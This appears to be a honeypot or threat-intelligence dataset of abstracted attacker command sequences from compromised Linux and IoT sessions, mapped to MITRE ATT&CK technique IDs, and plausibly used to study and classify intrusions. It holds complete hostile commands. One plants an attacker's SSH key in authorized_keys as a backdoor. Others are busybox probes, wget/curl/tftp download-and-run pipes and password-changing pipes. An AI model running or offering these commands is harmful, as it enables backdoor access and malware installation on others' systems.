('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TNFDX

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EFNLK


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TRPYR


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox APQWG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FPAWE


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'

('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CIDXS


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WNSME


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ETFXG


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JGJNL


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JZMAT


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RIRDD


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XMQDB

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XVGJC

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; tftp -l.i -r.i -g ; chmod ; ./ ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DQEYA

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VEMLD


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WXFSQ


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OBTIF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VZRHE


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MIWRB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EDLZW


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BWTBA


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh')


(uname -smr || /bin/uname -smr || /usr/bin/uname -smr)


('Connection:', 'Host:', 'User-Agent:', 'Connection:', 'Accept-Encoding:', 'Accept:', 'User-Agent:')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CWYKA


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NIIGJ

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KAMSP

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh', 'echo')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo -e | passwd | bash', 'echo | passwd', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo -e | passwd | bash', 'echo | passwd')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
